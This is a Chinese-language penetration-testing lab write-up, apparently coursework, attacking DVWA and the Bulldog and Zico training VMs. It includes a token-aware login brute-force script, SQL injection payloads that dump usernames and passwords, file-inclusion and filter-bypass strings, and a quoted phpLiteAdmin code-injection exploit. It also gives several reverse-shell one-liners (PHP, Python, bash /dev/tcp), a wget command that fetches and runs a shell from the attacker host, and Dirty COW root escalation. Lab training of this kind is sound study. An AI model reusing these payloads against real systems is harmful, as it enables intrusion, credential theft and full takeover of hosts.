具体要求:对指定IP的环境进行登陆点暴破。
A、 可指定IP地址;
B、 可设定扫描所需的线程数;
C、 对暴破结果及其原理进行分析并展示对应过程。
from bs4 import BeautifulSoup
import requests,re
#构造数据包
attack_ip = input('输入DVWA所在IP:')
header={
'Host': f'{attack_ip}',
'Cache-Control': 'no-cache, must-revalidate',
'If-None-Match': "307-52156c6a290c0",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Referer': f'http://{attack_ip}/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Cookie': 'security=high; PHPSESSID=ajvk9ihkgjv6ei38pvigeqd403'}
requrl = f"http://{attack_ip}/dvwa/vulnerabilities/brute/index.php"
def get_token(URL,header):
#req = urllib.Request(url=URL,headers=header)
response = requests.get(url=URL,headers=header)
print (response.status_code,end=' ')
the_page = response.text
# print(the_page)
print (len(the_page))
#使用正则表达式获得token值
token = re.findall(r"user_token.*?value='(.*?)'",the_page)
# print(token[0])
return token[0]
user_token = get_token(requrl,header)
i=0
for line in open('pass.txt'):
URL = f"http://{attack_ip}/dvwa/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
# print(URL)
i = i+1
print (i,'admin',line.strip(),end = ' ')
user_token = get_token(URL,header)
根据返回的Length值,可以看出暴力破解成功,所以密码为password
具体要求:利用SQL注入漏洞进行数据库账号密码的读取并解密。
A、 对被测试主机进行数据库版本获取;
B、 获取数据库中库名、表名、列名和数据;
C、 破解加密数据。
验证sql注入
1' and '1'='1
1' and '1'='2
所以判断此处存在单引号字符型sql注入
查看源码验证我们猜解的结果
1' order by 2#
1' order by 3#
1' union select 1,2#
-1' union select 1,database()#
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1' union select group_concat(user),group_concat(password) from users#
手动修改id处的值进行注入
后面操作与低级难度一样,注入类型为数字型注入,其余操作一样。这里只做了查询当前数据库
-1 union select 1,database()
高级难度与低级难度做法相同,只是实现了站库分离,更加具有安全性。
单引号字符型注入
具体要求:在被测试主机上事先写好文件或指定文件名,利用文件包含从web端读取系统服务器上的文件。
A、 测试并挖掘出文件包含漏洞;
B、 展示文件包含漏洞的过程并分析其原理;
C、 利用包含漏洞读取指定文件,并获取文件内容。
?page=
这种形式,可能存在文件包含4.2 在网站根目录下写入phpinfo.txt文件(内容为php代码)
文件包含成功
访问txt文件,发现文件包含漏洞先执行文件中代码,与文件类型无关,无代码则将文件中的信息显示出来
4.3 包含非代码文件
进行包含
当前目录:C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\fi\
#../是返回上一级目录
向前返回三级目录:../../../
返回三级目录后是:C:\phpStudy\PHPTutorial\WWW\ (前面创建的phpinfo.txt在当前目录)
5.2 返回C:\目录,并包含boot.ini
6. 远程文件包含
6.1 切换至网站根目录(kali_linux主机ip=192.168.30.182,这里充当受害机,在主机上编写反弹shell脚本)
cd /var/www/html
6.2 编写脚本
vi shell.php
#这里的ip为攻击者的ip,可以克隆一台kali充当攻击者主机,端口随意指点
<?php $sock=fsockopen("192.168.30.209",5555);exec("/bin/sh -i <&3 >&3 2>&3")?>
6.3 开启http服务
systemctl start apache2.service
6.4 攻击者主机开启监听(ip=192.168.30.209,上面脚本中填写的ip)
6.5 远程包含kali主机上的shell.php
6.6 出现连接响应
可能由于环境问题没能连接成功,但是可以看到有连接响应
http://192.168.30.189/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../phpinfo.php
将得到的内容进行base64解码,得到源码
7.2 伪协议php://input输入要执行的代码,以POST方式提交参数
使用burp抓包修改数据包,放过
得到php版本及信息页面
绕过方法: (双写绕过,将中间所插入的字符过滤后,剩余的就拼接成了需要的字符)
htthttp://p:// --> http://
hthttps://tps:// --> https://
..././ --> ../
...\.\ --> ..\
http://192.168.30.189/dvwa/vulnerabilities/fi/?page=file:///C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
具体要求:从获取ip、端口、服务到拿下被攻击主机的控制权。
A、 利用工具获取ip、端口、服务;
B、 根据web服务提供的业务功能,挖掘出命令执行漏洞;
C、 利用命令执行漏洞获取被攻击主机的控制权。
靶机ip:192.168.30.159
kali ip:192.168.30.182
nmap -sn 192.168.30.0/24
扫描出靶机bulldog的ip:192.168.30.159
masscan --rate=10000 --ports 0-65535 192.168.30.159
nmap -T4 -sV -O -p 80,8080,23 192.168.30.159
可以扫描出端口所对应的服务,以及具有python环境,并且是linux操作系统
dirb http://192.168.30.159/
whatweb http://192.168.30.159
进行解密
MD5解密网站
得到用户[email protected]的密码:bulldog
得到用户[email protected]的密码:bulldoglover
(登录时发现要去掉后面的邮箱,仅仅用nick, sarash登录)
访问shell页面
但是在登录后的网页内并没有发现什么有用信息,想起来前面做信息收集的地方有个需要授权的shell页面,再次访问,成功访问
pwd && uname -a
发现此处存在命令执行漏洞,我们将可以使用未给的uanme
命令将linux操作系统的内核显示出来方法一:
#将shell反弹至192.168.30.182主机(主机kali_linux的ip)的1234端口
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
2. 并且在脚本所在的路径下利用python打开一个临时的http服务
python -m SimpleHTTPServer 8080
3. 利用wget命令下载到目标主机
这里要注意访问的端口,端口是python开启http服务的端口
通过ls查看反弹shell脚本已经下载服务器
4. linux主机开启监听1234端口
nc -vnlp 1234
5. 运行反弹shell脚本,发现linux主机拿到shell
(也可以通过echo命令将反弹shell脚本一条一条的写入目标主机上,然后用python直接运行,反弹shell)
方法二:
echo 'bash -i >& /dev/tcp/192.168.30.182/2222 0>&1' | bash
python -c 'import pty;pty.spawn("/bin/bash")'
具体要求:从获取ip、端口、服务到拿下被攻击主机的控制权。
A、 利用工具获取ip、端口、服务;
B、 根据登录点的薄弱问题进入数据库;
C、 利用数据库中的代码执行及文件包含漏洞的结合获取被攻击主机的控制权。
靶机ip:192.168.30.160
kali ip:192.168.30.182
arp-scan -l
masscan --rate=10000 --ports 0-65535 192.168.30.160
nmap -T4 -sV -O -p 111,22,80,59228 192.168.30.160
dirb http://192.168.30.160/
whatweb http://192.168.30.160
http://192.168.30.160/view.php?page=tools.html
searchsploit phpLiteadmin 1.9.3
┌──(rootkali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/24044.txt
# Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
# Google Dork: inurl:phpliteadmin.php (Default PW: admin)
# Date: 01/10/2013
# Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# Vendor Homepage: http://code.google.com/p/phpliteadmin/
# Vendor Status: Informed
# Software Link: http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
# Version: 1.9.3
# Tested on: Windows and Linux
Description:
phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.
Proof of Concept:
1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ
2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ
3. Now we run hack.php
Done!
Proof: http://goo.gl/ZqPVL
<?php $sock=fsockopen("192.168.30.182",5555);exec("/bin/sh -i <&3 >&3 2>&3")?>
systemctl start apache2.service
system("wget http://192.168.30.182/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>
nc -vnlp 5555
python -c 'import pty;pty.spawn("/bin/bash")'
whoami;id;pwd;uname -a
lsb_release -a
发现版本是Ubuntu 12.04.5 LTS,非常好,因为该版本适用于脏牛提权
补充:可用于脏牛提权的版本
chmod 777 dirty.c
wget http://192.168.30.182/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
最后需要执行命令mv /tmp/passwd.bak /etc/passwd
以恢复原有的root用户
mv /tmp/passwd.bak /etc/passwd